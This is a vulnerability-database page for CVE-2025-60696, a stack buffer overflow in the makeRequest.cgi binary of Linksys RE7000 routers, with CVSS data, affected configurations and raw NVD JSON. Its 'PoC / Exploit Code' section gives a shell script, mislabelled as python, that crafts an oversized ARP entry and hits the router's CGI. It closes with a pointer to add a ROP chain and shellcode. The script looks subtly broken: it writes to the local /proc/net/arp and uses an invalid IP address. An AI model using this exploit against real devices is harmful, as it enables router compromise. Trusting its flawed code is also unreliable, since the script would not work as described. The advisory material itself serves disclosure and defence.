Security Vulnerability Report
中文
CVE-2025-60696 CVSS 8.4 HIGH

CVE-2025-60696

Published: 2025-11-13 17:15:50
Last Modified: 2025-12-08 14:50:18

Description

A stack-based buffer overflow vulnerability exists in the makeRequest.cgi binary of Linksys RE7000 routers (Firmware FW_v2.0.15_211230_1012). The arplookup function parses lines from /proc/net/arp using sscanf("%16s ... %18s ..."), storing results into buffers v6 (12 bytes) and v7 (20 bytes). Since the format specifiers allow up to 16 and 18 bytes respectively, oversized input can overflow the buffers, resulting in stack corruption. Local attackers controlling /proc/net/arp contents can exploit this issue to cause denial of service or potentially execute arbitrary code.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linksys:re7000_firmware:2.0.15:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:linksys:re7000:-:*:*:*:*:*:*:* - NOT VULNERABLE
Linksys RE7000 固件 FW_v2.0.15_211230_1012

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-60696 PoC - Linksys RE7000 Buffer Overflow # Target: Linksys RE7000 makeRequest.cgi # Firmware: FW_v2.0.15_211230_1012 TARGET_IP="192.168.1.1" MALICIOUS_ARP_ENTRY=$(python3 -c " import struct # Create overflow payload: >12 bytes for v6 buffer, >20 bytes for v7 buffer payload = 'A' * 64 # Overflow data mac = payload + ':' + payload[:12] ip = '192.168.1.999' print(f'{ip:<16} 0x2 {mac:<18} * br0') ") echo "[*] Injecting malicious ARP entry to trigger overflow..." echo "$MALICIOUS_ARP_ENTRY" | sudo tee /proc/net/arp > /dev/null 2>&1 echo "[*] Triggering makeRequest.cgi..." curl -s "http://$TARGET_IP/makeRequest.cgi" -o /dev/null echo "[*] Check for crash or unexpected behavior" echo "[*] For RCE, replace padding with ROP chain and shellcode"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60696", "sourceIdentifier": "[email protected]", "published": "2025-11-13T17:15:49.630", "lastModified": "2025-12-08T14:50:18.410", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack-based buffer overflow vulnerability exists in the makeRequest.cgi binary of Linksys RE7000 routers (Firmware FW_v2.0.15_211230_1012). The arplookup function parses lines from /proc/net/arp using sscanf(\"%16s ... %18s ...\"), storing results into buffers v6 (12 bytes) and v7 (20 bytes). Since the format specifiers allow up to 16 and 18 bytes respectively, oversized input can overflow the buffers, resulting in stack corruption. Local attackers controlling /proc/net/arp contents can exploit this issue to cause denial of service or potentially execute arbitrary code."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linksys:re7000_firmware:2.0.15:*:*:*:*:*:*:*", "matchCriteriaId": "9F28D5E8-5CFA-4FB2-99C8-63A9BEB8E031"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:linksys:re7000:-:*:*:*:*:*:*:*", "matchCriteriaId": "D04E83B6-EE99-42EB-AA37-895B1467CEDA"}]}]}], "references": [{"url": "http://linksys.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/Linksys/Linksys-RE700/CVE-2025-60696.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.linksys.com/", "source": "[email protected]", "tags": ["Product"]}]}}